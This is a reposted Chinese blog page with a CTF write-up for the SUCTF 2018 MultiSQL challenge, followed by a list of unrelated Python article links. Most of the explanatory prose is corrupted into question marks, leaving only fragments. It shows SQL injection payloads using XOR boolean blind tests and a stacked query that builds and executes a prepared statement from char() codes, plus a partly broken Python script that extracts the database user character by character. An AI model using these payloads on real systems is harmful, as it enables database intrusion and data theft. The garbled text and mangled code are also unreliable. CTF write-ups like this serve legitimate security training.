博客
关于我
BUUCTF:[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码,10进制,16进制。
阅读量:404 次
发布时间:2019-03-05

本文共 1744 字,大约阅读时间需要 5 分钟。

SQL???Web????

????????????????SQL???????????????????????????????????????????????????????????????????????????????????

?????

???????????SQL?????????????????????????????????????????????????????????????????@???union?select????????????

??????????????SQL???

2^(if(ascii(mid(user(),1,1))>0,0,1))

??????????????????????????0??????????????????????0?????0????????1???????????????????????

?????????????????????????????????????????????WordPress?WP????????

???????

?????????????????????????SQL??????????500????????????????????????????????????cookie?????????

??????????????????????????????

? id=2; set @sql = char(12, 324, 23, 23, ); prepare query from @sql; execute query;

?????????????????????SQL???

??????????????????????????????mid???????ascii?????????????????????

????WordPress

???????????WordPress???????????????????????????????????????????

???user.php????????????????id????????????????????

if (ascii(mid(user(),1,1)) > 0, 0, 1)

???????????????????????

?????????????????

1^

??????????????????????????????

??????????????????????????

  • ??id???????????
  • ??if??????????
  • ??1^???????????
  • ?????????????Python??????????????????????

    for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = { "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url, cookies=cookie)        content = re.findall('

    .*

    ', res.text, re.M|re.I) if ("admin" not in content[0]): database += chr(j) break

    ??????????????????id?username???????????????????

    ?????????????????????????????????????????????????flag???????????????

    ?????SQL????????????????????????????????????????????????????????????????

    转载地址:http://ykgg.baihongyu.com/

    你可能感兴趣的文章
    python 接口自动化数据结构(如列表、字典、元组)
    查看>>
    Python 接口自动化测试中的深拷贝与浅拷贝~
    查看>>
    Python 接口自动化测试中的高阶函数
    查看>>
    python 控制 cmd 命令行颜色
    查看>>
    Python 操作 Azure Blob Storage
    查看>>
    Python 操作 Excel 全攻略 | 包括读取、写入、表格操作、图像输出和字体设置
    查看>>
    Python 操作 JMeter 探索:pymeter 实操指南
    查看>>
    Python 操作 Redis
    查看>>
    Python 操作Mysql(PyMysql)
    查看>>
    Python 操作Redis
    查看>>
    Python 操作sqlite数据库及保存查询numpy类型数据(一)
    查看>>
    Python 操作sqlite数据库及保存查询numpy类型数据(二)
    查看>>
    Python 数据文件与网络数据序列化存储详解
    查看>>
    Python 数据结构与算法详解
    查看>>
    Python 数据采集、清洗、整理、分析以及可视化实战
    查看>>
    Python 数据预处理
    查看>>
    Python 无法安装包
    查看>>
    python 日历小部件 - 返回用户选择的日期
    查看>>
    Python 日志管理封装
    查看>>
    python 时间函数小总结
    查看>>